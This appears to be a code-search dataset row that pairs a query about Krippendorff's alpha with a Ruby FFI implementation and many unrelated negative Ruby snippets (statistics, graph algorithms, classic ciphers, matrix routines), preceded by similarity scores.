"0.63018066",
"0.62730885",
"0.6272425",
"0.6272425",
"0.6266485",
"0.6249352",
"0.6242886",
"0.62232715",
"0.6211874",
"0.6211874",
"0.6211874",
"0.6211874",
"0.6211874",
"0.6211874",
"0.6211874",
"0.6211874",
"0.6211874",
"0.6211874",
"0.6211874",
"0.6211874",
"0.6211874",
"0.6211874",
"0.6211874",
"0.6211874",
"0.6211874",
"0.6211874",
"0.6211874",
"0.6211874",
"0.617894",
"0.6177443",
"0.6176024",
"0.6165906",
"0.6122737",
"0.609816",
"0.60645527",
"0.6060865",
"0.60562295",
"0.6034599",
"0.6034142",
"0.5981957",
"0.5978764",
"0.5937867",
"0.5914572",
"0.5908224",
"0.58686167",
"0.5848328",
"0.5784456",
"0.5741405",
"0.5729652",
"0.56515455",
"0.560367",
"0.5594639",
"0.55786896",
"0.5555499",
"0.55462486",
"0.55353296",
"0.55206305",
"0.551531",
"0.5498798",
"0.54861856",
"0.5467767",
"0.54604775",
"0.5401578",
"0.5393199",
"0.53850645",
"0.53792524",
"0.5346843",
"0.53328913",
"0.53273004",
"0.53258324",
"0.53225064",
"0.53175026",
"0.5311271",
"0.53108174",
"0.53043437",
"0.5304085",
"0.5291674",
"0.5291545",
"0.52843714"
] | 0.5305223 | 95 |
Calculate Krippendorff's alpha (interrater reliability) Assumed input (Matrix) [ [ nil, nil, nil, nil, nil, 3, 4, 1, 2, 1, 1, 3, 3, nil, 3 ], coder 1 [ 1, nil, 2, 1, 3, 3, 4, 3, nil, nil, nil, nil, nil, nil, nil], coder 2 [ nil, nil, 2, 1, 3, 4, 4, nil, 2, 1, 1, 3, 3, nil, 4 ] coder 3 ] | def krippendorff_alpha
in_array = self.to_a
in_array_flattened = in_array.transpose.flatten
unique_values = in_array.flatten.compact.uniq
# We need to keep track of the skip indexes separately since we can't send nils via C array of double
skip_indexes = []
in_array_flattened.each_with_index do |element, i|
skip_indexes << i if element.nil?
end
# Reformat the in_array to not have nil
skip_indexes.each {|i| in_array_flattened[i] = 0 }
FFI::MemoryPointer.new(:double, in_array_flattened.size) do |in_array_ptr|
FFI::MemoryPointer.new(:double, unique_values.size) do |unique_values_ptr|
FFI::MemoryPointer.new(:int, skip_indexes.size) do |skip_indexes_ptr|
in_array_ptr.write_array_of_double(in_array_flattened)
unique_values_ptr.write_array_of_double(unique_values)
skip_indexes_ptr.write_array_of_int(skip_indexes)
return _krippendorff_alpha(in_array_ptr, row_count, column_count, skip_indexes_ptr, skip_indexes.size, unique_values_ptr, unique_values.size)
end
end
end
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def fleiss(matrix)\n debug = true\n\n # n Number of rating per subjects (number of human raters)\n n = checkEachLineCount(matrix) # PRE : every line count must be equal to n\n i_N = matrix.size\n k = matrix[0].size\n\n if debug\n puts \"#{n} raters.\"\n puts \"#{i_N} subjects.\"\n puts \"#{k} categories.\"\n end\n\n # Computing p[]\n p = [0.0] * k\n (0...k).each do |j|\n p[j] = 0.0\n (0...i_N).each {|i| p[j] += matrix[i][j] } \n p[j] /= i_N*n \n end\n\n puts \"p = #{p.join(',')}\" if debug\n\n # Computing f_P[] \n f_P = [0.0] * i_N\n\n (0...i_N).each do |i|\n f_P[i] = 0.0\n (0...k).each {|j| f_P[i] += matrix[i][j] * matrix[i][j] } \n f_P[i] = (f_P[i] - n) / (n * (n - 1)) \n end \n\n puts \"f_P = #{f_P.join(',')}\" if debug\n\n # Computing Pbar\n f_Pbar = sum(f_P) / i_N\n puts \"f_Pbar = #{f_Pbar}\" if debug\n\n # Computing f_PbarE\n f_PbarE = p.inject(0.0) { |acc,el| acc + el**2 }\n\n puts \"f_PbarE = #{f_PbarE}\" if debug \n\n kappa = (f_Pbar - f_PbarE) / (1 - f_PbarE)\n puts \"kappa = #{kappa}\" if debug \n\n kappa \nend",
"def icc_1_k_ci(alpha=0.05)\n per=1-(0.5*alpha)\n fu=icc_1_f.f*Distribution::F.p_value(per, @df_wt, @df_bt)\n fl=icc_1_f.f.quo(Distribution::F.p_value(per, @df_bt, @df_wt))\n [1-1.quo(fl), 1-1.quo(fu)]\n end",
"def icc_1_1_ci(alpha=0.05)\n per=1-(0.5*alpha)\n \n fu=icc_1_f.f*Distribution::F.p_value(per, @df_wt, @df_bt)\n fl=icc_1_f.f.quo(Distribution::F.p_value(per, @df_bt, @df_wt))\n \n [(fl-1).quo(fl+k-1), (fu-1).quo(fu+k-1)]\n end",
"def index_of_coincidence(matrix)\n\n matrix.inject([]) do |indices, row_letters|\n frequencies = letter_frequencies(row_letters)\n\n indices << (\"A\"..\"Z\").inject(0) { |a,v|\n x = frequencies[v]\n a += x*(x-1)\n a\n } / (row_letters.size * (row_letters.size - 1))\n end\n\nend",
"def calc_karps_algo_values\n 🛑 ::RuntimeError.new(\"| c{CurrencyMatrix}-> m{calc_karps_algo_values} already has warm cache |\") unless @cached_stats[:karp_vals].empty?\n (0...@len).∀ do |i|\n @cached_stats[:karp_vals] << self.karps_algorithm(i)\n end\n @cached_stats[:karp_vals]\n end",
"def kamen_rider(*eras); end",
"def floyd_warshall_variation()\n edges = %w( 0,1 1,2 2,3 1,3 )\n num = edges.join.gsub(\",\",\"\").split(\"\").uniq.size\n\n a = Array.new(num) { Array.new(num) { Array.new(num) } }\n \n # initialize\n num.times do |k|\n num.times do |i|\n num.times do |j|\n a[i][j][k] = Float::INFINITY\n a[i][j][k] = 0 if i == j\n a[i][j][k] = 1 if edges.include? \"#{i},#{j}\"\n end\n end\n end\n\n # run\n (1..num-1).each do |k|\n num.times do |i|\n num.times do |j|\n a[i][j][k] = [\n a[i][j][k-1] +\n a[i][k][k-1] * a[k][j][k-1]\n ].min\n end\n end\n end\n\n # print\n num.times do |i|\n num.times do |j|\n puts \"#{i},#{j}: #{a[i][j][num-1]}\"\n end\n end\n\nend",
"def alpha; end",
"def get_accuracy_matrix\n matrix = Hash.new\n\n (1..ISSUE_NAMES.length).each do |i| #for every pair\n (1..ISSUE_NAMES.length).each do |j|\n \n num_incr = 0\n num_decr = 0\n EXPERT_GRAPHS.each_value do |expert| #count how many experts had an edge in each direction\n num_incr += 1 if expert[[i,j]] == 1\n num_decr += 1 if expert[[i,j]] == -1\n end\n \n matrix[[i,j,1]] = RUBRIC[num_incr] #have increase and decrease, so technically 3d matrix\n matrix[[i,j,-1]] = RUBRIC[num_decr]\n end\n end\n \n #matrix.each {|key,value| puts key.to_s+\":\"+value.to_s if value > 0}\n ### should probably just hard-code this once it's done...\n return matrix\n end",
"def alg; end",
"def err_asymptotic( x, alpha )\n for k in 2...x.size do\n ek = (x[k-2]-alpha).abs\n ekp1 = (x[k-1]-alpha).abs \n ekp2 = (x[k] -alpha).abs\n p = Math::log(ekp1/ekp2)/Math::log(ek/ekp1)\n puts \"k = #{k}, order p = #{p}\"\n end\nend",
"def scoreExclusivity(mat)\n covered = 0\n xor = 0\n mat.first.each_index{|i|\n sum = 0\n mat.each{|node|\n sum += node[i].to_i\n }\n if sum == 1\n xor += 1\n covered += 1\n elsif sum > 1\n covered += 1\n end\n }\n \n return xor.to_f/covered.to_f\nend",
"def kernel_basis\n\t\trr = self.clone\n\t\trr.row_echelon_form\n\t\trank = rr.rank_rr\n\t\tdimker = rr.num_cols - rank\n\t\tif dimker == 0\n\t\t\treturn nil\n\t\tend\n\n\t\tbasis = Bit_matrix.new(dimker, rr.num_cols)\n\n\t\tfree_flags = [1] * @num_cols\n\t\tfree_indices = [0] * @num_cols\n\t\tnfree = 0 # Must == dimker, but I'll compute it anyway\n\n\t\tfor i in 0..(rank-1)\n\t\t\tdep_pos = rr.rows[i].find_leader_pos\n\t\t\tif dep_pos >= 0\n\t\t\t\tfree_flags[dep_pos] = 0\n\t\t\tend\n\t\tend\n\n\t\tfor i in 0..(@num_cols-1)\n\t\t\tif free_flags[i] != 0\n\t\t\t\tfree_indices[nfree] = i\n\t\t\t\tnfree += 1\n\t\t\tend\n\t\tend\n\n\t\tif nfree != dimker\n\t\t\traise \"Coding error detected: file #{__FILE__} line #{__LINE__}\"\n\t\tend\n\n\t\t# For each free coefficient:\n\t\t# Let that free coefficient be 1 and the rest be zero.\n\t\t# Also set any dependent coefficients which depend on that\n\t\t# free coefficient.\n\n\t\tfor i in 0..(dimker-1)\n\t\t\tbasis.rows[i][free_indices[i]] = 1\n\n\t\t\t# Matrix in row echelon form:\n\t\t\t#\n\t\t\t# 0210 c0 = ?? c0 = 1 c0 = 0\n\t\t\t# 1000 c1 = -2 c2 c1 = 0 c1 = 5\n\t\t\t# 0000 c2 = ?? c2 = 0 c2 = 1\n\t\t\t# 0000 c3 = 0 c3 = 0 c3 = 0\n\n\t\t\t# j = 0,1\n\t\t\t# fi = 0,2\n\n\t\t\t# i = 0:\n\t\t\t# j = 0 row 0 fi 0 = row 0 c0 = 0\n\t\t\t# j = 1 row 1 fi 0 = row 1 c0 = 0\n\t\t\t# i = 1:\n\t\t\t# j = 0 row 0 fi 1 = row 0 c2 = 2 dep_pos = 1\n\t\t\t# j = 1 row 1 fi 1 = row 1 c2 = 0\n\n\t\t\t# 0001\n\t\t\t# 01?0\n\n\t\t\tfor j in 0..(rank-1)\n\t\t\t\tif rr.rows[j][free_indices[i]] == 0\n\t\t\t\t\tnext\n\t\t\t\tend\n\t\t\t\tdep_pos = rr.rows[j].find_leader_pos\n\t\t\t\tif dep_pos < 0\n\t\t\t\t\traise \"Coding error detected: file \" \\\n\t\t\t\t\t\t\"#{__FILE__} line #{__LINE__}\"\n\t\t\t\tend\n\t\t\t\tbasis.rows[i][dep_pos] = rr.rows[j][free_indices[i]]\n\t\t\tend\n\t\tend\n\t\treturn basis\n\tend",
"def test_ce_deBoer_1\n NArray.srand(567) # must use NArray's generator, not Ruby's\n\n n = 10\n y_true = NArray[1,1,1,1,1,0,0,0,0,0]\n\n mp = CrossEntropy::MatrixProblem.new\n mp.pr = NArray.float(2, n).fill!(0.5)\n mp.num_samples = 50\n mp.num_elite = 5\n mp.max_iters = 10\n\n mp.to_score_sample do |sample|\n y_true.eq(sample).count_false # to be minimized\n end\n\n mp.solve\n\n if y_true != mp.most_likely_solution\n warn \"expected #{y_true}; found #{mp.most_likely_solution}\" \n end\n assert mp.num_iters <= mp.max_iters\n end",
"def test_rosenbrock_banana\n NArray.srand(567) # must use NArray's generator, not Ruby's\n\n a = 0.5\n b = 100.0\n smooth = 0.1\n\n alpha = NArray[1.0, 1.0]\n beta = NArray[1.0, 1.0]\n\n problem = CrossEntropy::BetaProblem.new(alpha, beta)\n problem.num_samples = 1000\n problem.num_elite = 10\n problem.max_iters = 10\n\n problem.to_score_sample { |x| (a - x[0])**2 + b * (x[1] - x[0]**2)**2 }\n\n problem.to_update do |new_alpha, new_beta|\n smooth_alpha = smooth * new_alpha + (1 - smooth) * problem.param_alpha\n smooth_beta = smooth * new_beta + (1 - smooth) * problem.param_beta\n [smooth_alpha, smooth_beta]\n end\n\n problem.solve\n\n estimates = problem.param_alpha / (problem.param_alpha + problem.param_beta)\n assert_narray_close NArray[0.5, 0.25], estimates\n assert problem.num_iters <= problem.max_iters\n end",
"def ener_kj \n\t\t@ener_kj = @saturadas * 37 + @monoinsaturadas * 37 + @polinsaturadas * 37 + @azucares * 17 + @polialcoles * 10 + @almidon * 17 + @fibra * 8 + @proteinas * 17 + @sal * 25\n\t\treturn @ener_kj\n\tend",
"def alpha\n end",
"def am(amida, y, x)\n #p \"==== NOW ===\"\n #p y \n #p x\n #p amida\n\n if y == H \n #p \"=====GOAL\"\n if x + 1 == K\n $cnt = $cnt + 1\n end\n return\n end\n\n if x < W - 1\n to_right_amida = Marshal.load(Marshal.dump(amida))\n to_right_amida[y][x] = 1\n am(to_right_amida, y + 1, x + 1)\n end\n\n to_streight_amida = Marshal.load(Marshal.dump(amida))\n am(to_streight_amida, y + 1, x)\n\n if x > 0\n to_left_amida = Marshal.load(Marshal.dump(amida))\n to_left_amida[y][x - 1] = 1\n am(to_left_amida, y + 1, x - 1)\n end\nend",
"def key_expansion(key_arr)\n w_key = []\n \n (0..Nk-1).each do |i|\n w_key << key_arr[(4*i)..(4*i + 3)]\n end\n\n (Nk..(Nb*(Nr + 1) - 1)).each do |i|\n temp = w_key[i-1]\n if i % Nk == 0\n temp = temp.rotate.map{ |b| S_BOX[b] }\n temp[0] ^= RCON[i / Nk]\n end\n\n w_key << w_key[i - Nk].map.with_index{ |b, i| b ^ temp[i]}\n end\n\n w_key.each_slice(4).map{ |k| array_to_matrix(k.flatten) }\n end",
"def exercise_1113 (matrix)\n end",
"def hourglassSum(arr)\n m = Matrix[*arr]\n\n # minimum possible result\n result = -9*7\n\n for i in (0..3)\n for j in (0..3)\n aux = lilHourglass(m.minor((i..i+2),(j..j+2)) )\n if aux > result\n result = aux \n end\n end\n end\n result\nend",
"def test(i,j,k)\nreturn A[i]*6 + B[j]*9 + C[k]*20\nend",
"def alpha\n return @alpha\n end",
"def finalscore(h,flattenarray,originalarray)\r\n # puts \"==>> #{originalarray}\"\r\n max_index = originalarray.each_index.max_by { |i| originalarray[i].size }\r\n # puts \"max index = #{max_index}\"\r\n # puts \"abcscs = #{originalarray[max_index].length}\"\r\n maxsize = originalarray[max_index].length+1\r\n min_index = originalarray.each_index.min_by { |i| originalarray[i].size }\r\n minsize = originalarray[min_index].length+1\r\n frequency = flattenarray.length\r\n # puts \"***** max= #{maxsize} min = #{minsize} f= #{frequency}\"\r\n h.each do |key,value|\r\n # if key == \"B00APE06UA\"\r\n # puts \"value = #{value }\"\r\n # puts \"value[0] = #{value[0] }\"\r\n # puts \"value[1] = #{value[1]}== #{(value[1]-minsize+1)}/#{(maxsize-minsize)}\"\r\n # puts \"value[0] = #{value[0]} == #{value[0].clone}/#{frequency}\"\r\n # end\r\n\r\n # value[0]= 10000*value[0]/frequency\r\n # value[1]= 100*(value[1]-minsize+1)/(maxsize-minsize)\r\n value [1] = 10000*( value[1]/value[0])\r\n # if key ==\"B00APE06UA\"\r\n # puts \"value [1] = #{value[1]}\"\r\n # puts \" ==>>>> #{value[0]} =========#{value[1]} #{(value[1]-minsize+1)}/#{(maxsize-minsize)} \"\r\n # end\r\n total_score = value[0]+value[1]\r\n # puts\" #{total_score}\"\r\n h[key] = total_score\r\n end\r\n return h\r\nend",
"def perform\n # Execute the naive algorithm and puts the result\n @standard_algorithm = StandardAlgorithm.new @a_matrix, @b_matrix\n puts 'Naive Algorithm:'\n @standard_algorithm.perform.print\n\n # This use the Ruby library to check the result\n puts @standard_algorithm.result == @a_matrix * @b_matrix ? 'OK' : 'NOK'\n\n # Same as above, using Strassen algorithm\n @strassen_algorithm = StrassenAlgorithm.new @a_matrix, @b_matrix\n puts 'Strassen Algorithm:'\n @strassen_algorithm.perform.print\n puts @strassen_algorithm.result == @a_matrix * @b_matrix ? 'OK' : 'NOK'\n end",
"def test_ce_deBoer_2\n NArray.srand(567) # must use NArray's generator, not Ruby's\n\n # Cost matrix\n n = 5\n c = NArray[[0,1,3,5,6],\n [1,0,3,6,5],\n [3,3,0,2,2],\n [5,6,2,0,2],\n [6,5,2,2,0]]\n\n mp = CrossEntropy::MatrixProblem.new\n mp.pr = NArray.float(2, n).fill!(0.5)\n mp.pr[true,0] = NArray[0.0,1.0] # put vertex 0 in subset 1\n mp.num_samples = 50\n mp.num_elite = 5\n mp.max_iters = 10\n smooth = 0.4\n\n max_cut_score = proc do |sample|\n weight = 0\n for i in 0...n\n for j in 0...n\n weight += c[j,i] if sample[i] < sample[j]\n end\n end\n -weight # to be minimized\n end\n best_cut = NArray[1,1,0,0,0]\n assert_equal(-15, max_cut_score.call(NArray[1,0,0,0,0]))\n assert_equal(-28, max_cut_score.call(best_cut))\n\n mp.to_score_sample(&max_cut_score)\n\n mp.to_update do |pr_iter|\n smooth*pr_iter + (1 - smooth)*mp.pr\n end\n\n mp.for_stop_decision do\n #p mp.pr\n mp.num_iters >= mp.max_iters\n end\n\n mp.solve\n\n if best_cut != mp.most_likely_solution\n warn \"expected #{best_cut}; found #{mp.most_likely_solution}\" \n end\n assert mp.num_iters <= mp.max_iters\n end",
"def vigenereCipher(string, key, alphabet)\n aryStr = string.split(\"\")\n nStr = Array.new\n i = 0\n while i < aryStr.length\n j = 0\n while j < key.length\n nStr << (alphabet[(alphabet.index(aryStr[i]) + key[j])])\n j += 1\n i += 1\n end\n end\n return nStr.join('')\nend",
"def cramers_rule(ax,ay,az,a)\n # ax = array for all coefficients of x\n # ay = array for all coefficients of y\n # az = array for all coefficients of z\n # a = array for all constants\n x = Matrix[a,ay,az].determinant/Matrix[ax,ay,az].determinant.to_f\n y = Matrix[ax,a,az].determinant/Matrix[ax,ay,az].determinant.to_f\n z = Matrix[ax,ay,a].determinant/Matrix[ax,ay,az].determinant.to_f\n p x\n p y \n p z\n end",
"def ener_kcal \n\t\t@ener_kcal = @saturadas * 9 + @monoinsaturadas * 9 + @polinsaturadas * 9 + @azucares * 4 + @polialcoles * 2.4 + @almidon * 4 + @fibra * 2 + @proteinas * 4 + @sal * 6\n\t\treturn @ener_kcal\n\tend",
"def marcsCakewalk(calorie)\n arr = calorie.sort.reverse!\n\n sum = 0\n arr.each_with_index do |cal, index|\n sum += cal * (2**index)\n end\n sum\nend",
"def rating factorization\n num_items = factorization.num_items\n num_users = factorization.num_users\n\n\n feature_dim = factorization.getItemFeatures(factorization.get_item_id_mappings.iterator.next.get_key.long_value).length\n\n vektor = factorization.getItemFeatures(factorization.get_item_id_mappings.iterator.next.get_key.long_value)\n\n item_matrix = factorization.get_item_id_mappings.iterator.inject([]) do |item_matrix, item_map| \n item_row = item_map.get_value\n item_vector = factorization.getItemFeatures(item_map.get_key.long_value).to_a\n item_matrix << item_vector\n item_matrix\n end\n\n user_matrix = factorization.get_user_id_mappings.iterator.inject([]) do |user_matrix, user_map| \n user_row = user_map.get_value\n user_matrix << factorization.getUserFeatures(user_map.get_key.long_value).to_a\n user_matrix\n end\n\n user_matrix = Matrix.rows(user_matrix)\n item_matrix = Matrix.rows(item_matrix)\n \n rating_matrix = item_matrix * user_matrix.transpose\n \n\n dense_matrix = DenseMatrix.new(num_users, num_items)\n\n rating_matrix.each_with_index{|num, row, col|\n dense_matrix.set_quick(col, row, num) \n }\n\n dense_matrix\n\n# factorization.get_item_id_mappings.iterator.each do |item_map| \n# item_row = item_map.get_value\n# item_matrix = Matrix[factorization.getItemFeatures(item_map.get_key.long_value).to_a]\n# factorization.get_user_id_mappings.iterator.each do |user_map| \n# user_row = user_map.get_value\n# user_matrix = Matrix[factorization.getUserFeatures(user_map.get_key.long_value).to_a]\n# rating = item_matrix*user_matrix.transpose\n# rating_matrix.set_quick(user_row,item_row,rating[0,0])\n# end\n# end\n\n \n #TODO: multiply the vectors and put it into the matrix \n end",
"def alphabet\n alphabet = ['1111110001111111000110001']\n alphabet << '1111110001111111000111111'\n alphabet << '1111110000100001000011111'\n alphabet << '1110010010100011001011100'\n alphabet << '1111110000111111000011111'\n alphabet << '1111110000111111000010000'\n alphabet << '1111110000100001000111111'\n alphabet << '1000110001111111000110001'\n alphabet << '1111100100001000010011111'\n alphabet << '1111100100001000010011100'\n alphabet <<\t'1000110010111001001010001'\n alphabet <<\t'1000010000100001000011111'\n alphabet <<\t'1000111011101011000110001'\n alphabet <<\t'1000111001101011001110001'\n alphabet <<\t'1111110001100011000111111'\n alphabet <<\t'1111110001111111000010000'\n alphabet <<\t'1111110001101011001111111'\n alphabet <<\t'1111110001111111001010001'\n alphabet <<\t'1111110000111110000111111'\n alphabet <<\t'1111100100001000010000100'\n alphabet <<\t'1000110001100011000111111'\n alphabet <<\t'1000110001010100101000100'\n alphabet <<\t'1010110101101011010111111'\n alphabet <<\t'1000101010001000101010001'\n alphabet <<\t'1000110001010100010000100'\n alphabet <<\t'1111100010001000100011111'\n end",
"def icc_2_1_fs(pp,alpha=0.05)\n fj=jms.quo(ems)\n per=1-(0.5*alpha)\n vn=(k-1)*(n-1)*((k*pp*fj+n*(1+(k-1)*pp)-k*pp)**2)\n vd=(n-1)*(k**2)*(pp**2)*(fj**2)+((n*(1+(k-1)*pp)-k*pp)**2)\n v=vn.quo(vd)\n f1=Distribution::F.p_value(per, n-1,v)\n f2=Distribution::F.p_value(per, v, n-1)\n [f1,f2]\n end",
"def restrict(convolution, m)\n alphabet = []\n freq = convolution.each_with_object({}) { |itm, hsh| hsh[itm] = hsh[itm].to_i + 1 if convolution.include?(itm) }\n eligible = freq.select {|k, v| 57 <= k && k <= 200}\n sorted = eligible.sort_by {|k,v| v}.reverse\n sorted.each do |am, f|\n if alphabet.size < m\n alphabet << am \n # let's ensure we include any ties\n elsif alphabet.size == m\n alphabet << am if alphabet[m-1] == am\n end\n break if alphabet[m-1] > am unless alphabet[m-1].nil?\n end\n alphabet\nend",
"def artificial_intelligence\n keep_color_matches.each do |color|\n if !computer_key.include?(color)\n computer_key = []\n comp_key_creator(@computer_key)\n end\n end\n keep_matches.each do |key, value|\n computer_key[key] = value\n end\n end",
"def alphabet_frequency string, letter\n decode_attempt = c_decode string, letter\n frequency_total_array = []\n $frequencies.each do |key, array|\n frequency_total_array.push((frequency_value(decode_attempt.split(\"\"), key) - $frequencies[key]).abs)\nend\nfrequency_total_array.inject(0, :+)\nend",
"def score_motifs(motifs)\n # motifs is a ruby Matrix\n # To define scoring, consider t DNA sequences, each of length n, and select a k-mer \n # from each sequence to form a collection Motifs, which we represent as a t × k motif matrix.\n # Our goal is to select k-mers resulting in the most “conserved” motif matrix, meaning the matrix with the \n # most upper case letters (and thus the fewest number of lower case letters). Leaving aside the question of\n # how we select such k-mers, we will first focus on how to score the resulting motif matrices,\n # defining Score(Motifs) as the number of unpopular (lower case) letters in the motif matrix Motifs.\n # Our goal is to find a collection of k-mers that minimizes this score.\n\n # Motifs\n # T C G G G G g T T T t t \n # c C G G t G A c T T a C\n # a C G G G G A T T T t C\n # T t G G G G A c T T t t\n # a a G G G G A c T T C C\n # T t G G G G A c T T C C\n # T C G G G G A T T c a t\n # T C G G G G A T T c C t\n # T a G G G G A a c T a C\n # T C G G G t A T a a C C\n\n # Score \n # 3 + 4 + 0 + 0 + 1 + 1 + 1 + 5 + 2 + 3 + 6 + 4 = 30 \n\n # For now lets assume the input 'motifs' contain the upcase and lowercase encoded in it\n # If not we have to implement that in figuring out the score\n score = 0\n\n (0..(motifs.column_count-1)).each do |col_i|\n col_array = motifs.column(col_i)\n dna_freq = { \"A\" => 0, \"C\" => 0, \"G\" => 0, \"T\" => 0}\n col_array.each do |val|\n # score += 1 if val == val.downcase\n dna_freq[val.upcase] += 1\n end\n cnt_arr = dna_freq.values.sort\n count = 0\n cnt_arr.pop\n cnt_arr.each {|val| count += val}\n score += count\n end\n\n return score\n end",
"def enVigenere(plain, key)\n cipher = \"\"\n\n n = plain.length\n while key.length < n\n key += key\n end\n key = key[0...n]\n\n for i in 0...n\n p = plain[i].upcase\n k = key[i].upcase\n if letter?(p)\n row = find_row(p, 0)\n col = find_col(k)\n cipher += $TABLE[row][col]\n if p != plain[i]\n cipher[-1] = cipher[-1].downcase\n end\n else\n cipher += p\n end\n end\n\n return cipher\nend",
"def brute(enc, charset)\n solution_data = {score: 0}\n\n # Splits up given charset (common characters) into a regular expression for comparison against resulting plaintexts.\n # 'ABC' => /A|B|C/i\n regexpr = Regexp.union(charset.chars)\n regexpr = Regexp.new(regexpr.source, Regexp::IGNORECASE)\n\n (0..255).each do |i|\n attempt_key = i.chr\n xor_key = (attempt_key * enc.length).to_hex # Repeat single-key to match size of ciphertext for XOR'ing.\n ret_hex = hex(enc.to_hex, xor_key)\n plaintext = ret_hex.unhex\n score = plaintext.scan(regexpr).size / plaintext.length.to_f # Returns the number of matches and normalises the result.\n\n # Update solution data to match more promising solution (higher score).\n if score > solution_data[:score]\n solution_data[:score] = score\n solution_data[:key] = attempt_key\n solution_data[:ciphertext] = ret_hex\n solution_data[:plaintext] = plaintext\n end\n end\n\n #raise 'No solution.' if solution_data[:score] == 0\n solution_data\n end",
"def birds_eye(n, k)\n return ((n-k)/(k+1));\nend",
"def kali(panjang_arr,a)\n\ttotal=1\n\t(0..(panjang_arr-1)).each do |i|\n\t\ttotal=total*a[i]\n\tend\n\treturn total\nend",
"def kcal\n x = collect{|a| a.kcal}\n y = x.inject(0, :+)\n y\n end",
"def min_unfairness (candy, n, k)\n # First, sorting the array\n candy.sort!\n\n # puts candy.inspect\n\n # Initialize with the first and k element \n min = candy[k-1] - candy[0]\n\n # For each subsequential k elements, we have to find the min. unfairness\n for i in 1..(n-k) \n # puts \"i=#{i} n[i+k]=#{candy[i+k-1]} n[i]=#{candy[i]} : #{candy[i+k-1] - candy[i]} | min=#{min}\"\n min = candy[i+k-1] - candy[i] if candy[i+k-1] - candy[i] < min\n end\n\n return min\nend",
"def naive_algorithm(arr)\n\tproduct = 0\n\tarr.each do |i|\n\t arr.each do |j|\n\t \tp = arr[i] * arr[j]\n\t \tproduct = p if product < p\n\t end\t\n\tend\t\t\n\tproduct\nend",
"def ein; end",
"def caesar_guesser(encrypted_string, alphabet)\r\n\r\nend",
"def flash_straight\n (0..8).each { |i|\n @hash_7_card.each {|s, r|\n next unless r.length >= 5 #если более либо равно 5 карт в масти то сравнивается массив масти и все комбинации этой номинации\n if [14 - i, 13 - i, 12 - i, 11 - i, 10 - i] & r == [14 - i, 13 - i, 12 - i, 11 - i, 10 - i]\n return {s => [14 - i, 13 - i, 12 - i, 11 - i, 10 - i]}\n end\n }\n }\n nil\n end",
"def sentinel_rt (aa_array,start_aa=1)\n out_hash = {}\n sen = {15=>\"KRS\", 16=>\"I\", 17=>\"N\", 18=>\"KRS\", 24=>\"*\", 41=>\"I\", 42=>\"KN\", 45=>\"KR\", 51=>\"KR\", 53=>\"K\", 71=>\"*\", 76=>\"K\", 79=>\"K\", 86=>\"K\", 88=>\"*\", 89=>\"KN\", 93=>\"EKR\", 99=>\"EKRS\", 110=>\"KN\", 112=>\"EKRS\", 113=>\"K\", 141=>\"EKRS\", 152=>\"EKRS\", 153=>\"*\", 155=>\"EKRS\", 185=>\"KN\", 186=>\"KN\", 190=>\"R\", 192=>\"K\", 212=>\"*\", 213=>\"KR\", 229=>\"*\", 231=>\"KRS\", 233=>\"K\", 239=>\"*\", 252=>\"*\", 256=>\"KN\", 262=>\"KR\", 266=>\"*\", 273=>\"EKS\", 285=>\"EKR\", 298=>\"N\", 302=>\"KN\", 305=>\"KN\", 316=>\"EKR\", 324=>\"K\", 337=>\"*\", 344=>\"K\", 352=>\"EKRS\", 364=>\"KN\", 378=>\"N\", 383=>\"*\", 384=>\"EKRS\", 396=>\"K\", 398=>\"*\", 401=>\"*\", 402=>\"*\", 404=>\"K\", 406=>\"*\", 410=>\"*\", 413=>\"KN\", 414=>\"*\", 415=>\"KN\", 426=>\"*\", 430=>\"KN\", 436=>\"R\", 438=>\"K\", 443=>\"N\", 444=>\"EKRS\", 449=>\"K\", 453=>\"KR\", 456=>\"EKRS\", 462=>\"ERS\", 471=>\"K\", 478=>\"KN\", 488=>\"K\", 490=>\"R\", 498=>\"KN\", 504=>\"KRS\", 511=>\"K\", 514=>\"K\", 516=>\"N\", 523=>\"KN\", 535=>\"*\", 541=>\"EKRS\", 543=>\"EKRS\", 544=>\"ERS\", 546=>\"N\", 549=>\"KN\", 555=>\"EKRS\"}\n aa_length = aa_array.size\n end_aa = start_aa + aa_length - 1\n (start_aa..end_aa).each do |position|\n array_position = position - start_aa\n if sen.keys.include?(position)\n test_aa = aa_array[array_position]\n if sen[position].include?(test_aa)\n out_hash[position] = test_aa\n end\n end\n end\n return out_hash\nend",
"def kamada_kawai(width=@width, height=@height, nodeset=@nodes, edgeset=@edges, adjacency=@adjacency)\n puts \"beginning kamada_kawai @ \"+Time.now.to_s\n\n #calculate shortest path distance (Floyd-Warshall); could be sped up using Johnson's Algorithm (if needed)\n @path_distance = Hash.new(0)\n edgeset.values.each {|e| @path_distance[[e.a.id,e.b.id]] = @path_distance[[e.b.id,e.a.id]] = 1} #fill with L1 dist (non-directional)\n for k,nk in nodeset\n for i,ni in nodeset\n for j,nj in nodeset\n # if not same node AND subpaths exist AND (not yet ij path OR ikj path is shorter)\n if (i!=j) and (@path_distance[[i,k]]*@path_distance[[k,j]] != 0) and \n (@path_distance[[i,j]]==0 or @path_distance[[i,k]]+@path_distance[[k,j]] < @path_distance[[i,j]])\n @path_distance[[i,j]] = @path_distance[[i,k]]+@path_distance[[k,j]]\n end\n end\n end\n #puts k.to_s + \" \"+Time.now.to_s\n end\n puts \"(found path distances) @ \"+Time.now.to_s\n\n ## stuff for maybe doing kamada with the current dist functions\n # distances = @graph.get_all_pairs_paths_distances\n # #puts distances\n # k = 1.0 #spring constant\n # tolerance = 0.001 #epsilon for energy\n # maxlen = 0\n # inf = 1.0/0\n # distances.values.each {|h| h.values.each {|v| maxlen = [maxlen, v].max if v != inf}} #clean this up?\n # l0 = [width,height].min/maxlen #optimal average length\n # ideal_length = Hash.new(0)\n # spring_strength = Hash.new(0)\n # distances.each do |k1,d|\n # d.each do |k2,val|\n # if val != inf\n # ideal_length[[k1,k2]] = l0*val\n # spring_strength[[k1,k2]] = k/(val*val)\n # end\n # end\n # end\n # \n # puts maxlen\n # #puts ideal_length\n \n k = 1.0 #spring constant\n tolerance = 0.001 #epsilon for energy\n l0 = [width,height].min/@path_distance.values.max #optimal average length\n ideal_length = Hash[@path_distance.map {|key,val| [key,l0*val]}]\n ideal_length.default = 0\n spring_strength = Hash[@path_distance.map {|key,val| [key,k/(val*val)]}] #can be undefined? v!=0 ? k/(v*v) : 0\n spring_strength.default = 0\n \n #puts compute_partial_derivatives(2335, nodeset, spring_strength, ideal_length) #test call\n \n delta_p = p = 0\n 